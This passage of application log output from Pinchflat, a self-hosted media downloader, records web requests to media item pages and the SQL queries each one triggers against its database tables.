m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:31.313 [info] Sent 200 in 8ms 21:14:41.687 [info] GET /sources/1/media/412 21:14:41.687 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "412", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:14:41.688 [debug] QUERY OK source="media_items" db=0.6ms idle=1058.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [412] 21:14:41.689 [debug] QUERY OK source="tasks" db=0.7ms idle=1059.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [412] 21:14:41.689 [debug] QUERY OK source="sources" db=0.7ms idle=1059.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:41.690 [debug] QUERY OK source="settings" db=0.4ms idle=1060.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:41.690 [debug] QUERY OK source="settings" db=0.1ms idle=107.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:41.691 [debug] QUERY OK source="settings" db=0.5ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:41.693 [debug] QUERY OK source="media_profiles" db=0.6ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:41.694 [info] Sent 200 in 6ms 21:14:45.740 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:51.369 [info] GET /sources/1/media/407 21:14:51.369 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "407", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:14:51.370 [debug] QUERY OK source="media_items" db=0.3ms idle=1740.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [407] 21:14:51.371 [debug] QUERY OK source="tasks" db=0.8ms idle=1741.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [407] 21:14:51.371 [debug] QUERY OK source="sources" db=0.9ms idle=1741.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:51.372 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1742.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [195, 248] 21:14:51.373 [debug] QUERY OK source="settings" db=0.2ms idle=772.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:51.373 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:51.374 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:51.375 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:51.376 [info] Sent 200 in 7ms 21:14:59.550 [info] GET /sources/1/media/390 21:14:59.550 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "390", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:14:59.551 [debug] QUERY OK source="media_items" db=0.7ms idle=933.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [390] 21:14:59.553 [debug] QUERY OK source="tasks" db=0.8ms idle=922.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [390] 21:14:59.553 [debug] QUERY OK source="sources" db=0.9ms idle=923.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:14:59.554 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=924.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [178, 231] 21:14:59.555 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=925.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:59.555 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:59.556 [debug] QUERY OK source="settings" db=0.5ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:59.557 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:59.559 [info] Sent 200 in 8ms 21:15:00.515 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:07.208 [info] GET /sources/1/media/409 21:15:07.209 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "409", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:07.210 [debug] QUERY OK source="media_items" db=0.7ms queue=0.3ms idle=1558.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [409] 21:15:07.212 [debug] QUERY OK source="tasks" db=0.5ms idle=582.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [409] 21:15:07.212 [debug] QUERY OK source="sources" db=0.6ms idle=582.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:07.213 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=584.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [197, 250] 21:15:07.214 [debug] QUERY OK source="settings" db=0.3ms idle=546.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:07.215 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:07.216 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:07.218 [debug] QUERY OK source="media_profiles" db=0.9ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:07.221 [info] Sent 200 in 12ms 21:15:13.991 [info] GET /sources/1/media/406 21:15:13.991 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "406", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:13.993 [debug] QUERY OK source="media_items" db=1.0ms idle=1363.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [406] 21:15:13.994 [debug] QUERY OK source="sources" db=0.3ms idle=1364.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:13.994 [debug] QUERY OK source="tasks" db=0.5ms idle=1364.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [406] 21:15:13.995 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=1304.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [194, 247] 21:15:13.996 [debug] QUERY OK source="settings" db=0.3ms idle=303.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:13.996 [debug] QUERY OK source="settings" db=0.4ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:13.997 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:13.998 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:14.000 [info] Sent 200 in 8ms 21:15:15.742 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:20.092 [info] GET /sources/1/media/391 21:15:20.093 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "391", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:20.094 [debug] QUERY OK source="media_items" db=0.8ms idle=463.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [391] 21:15:20.095 [debug] QUERY OK source="tasks" db=0.6ms idle=465.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [391] 21:15:20.096 [debug] QUERY OK source="sources" db=1.8ms idle=465.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:20.097 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=467.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [179, 232] 21:15:20.098 [debug] QUERY OK source="settings" db=0.2ms idle=393.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:20.099 [debug] QUERY OK source="settings" db=0.3ms queue=0.4ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:20.100 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:20.101 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:20.103 [info] Sent 200 in 10ms 21:15:25.663 [info] GET /sources/new 21:15:25.664 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 21:15:25.665 [debug] QUERY OK source="sources" db=0.4ms queue=0.3ms idle=949.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:25.666 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=36.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:15:25.667 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=37.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:25.669 [debug] QUERY OK source="settings" db=1.2ms idle=38.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:25.670 [debug] QUERY OK source="settings" db=0.7ms idle=40.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:25.672 [debug] QUERY OK source="settings" db=1.4ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:25.673 [debug] QUERY OK source="settings" db=0.9ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:25.677 [info] Sent 200 in 13ms 21:15:30.597 [info] GET /sources/1/media/411 21:15:30.597 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "411", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:30.599 [debug] QUERY OK source="media_items" db=0.8ms idle=968.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", 